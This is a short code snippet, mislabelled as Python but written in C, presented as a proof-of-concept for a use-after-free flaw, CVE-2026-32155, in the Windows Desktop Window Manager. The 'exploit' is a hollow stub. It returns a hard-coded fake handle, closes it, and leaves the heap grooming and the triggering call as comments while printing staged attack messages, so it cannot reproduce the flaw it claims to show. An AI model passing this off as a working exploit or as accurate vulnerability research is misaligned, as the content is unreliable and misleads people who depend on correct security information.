The following code is for security research and authorized testing only.
python
/*
* PoC Concept for CVE-2026-32155
* Demonstrates the trigger logic for UAF in DWM.
*/
#include <windows.h>
// Simulated function to allocate DWM resource
HANDLE AllocateDwmResource() {
// In a real scenario, this interacts with dwm.exe
return (HANDLE)0x12345678;
}
// Simulated function to free the resource (Vulnerable trigger)
void FreeDwmResource(HANDLE hRes) {
// Trigger the Use-After-Free condition
CloseHandle(hRes);
}
void TriggerExploit() {
printf("[*] Allocating resource...");
HANDLE hTarget = AllocateDwmResource();
printf("[*] Triggering Free (UAF)...");
FreeDwmResource(hTarget);
// The pointer hTarget is now stale but DWM still references it
printf("[*] Occupying memory with controlled payload...");
// Heap grooming logic would go here to reclaim the freed memory
printf("[*] Triggering Use (Crash or Exec)...");
// Call DWM API that uses the freed handle
// UseDwmHandle(hTarget);
}
int main() {
TriggerExploit();
return 0;
}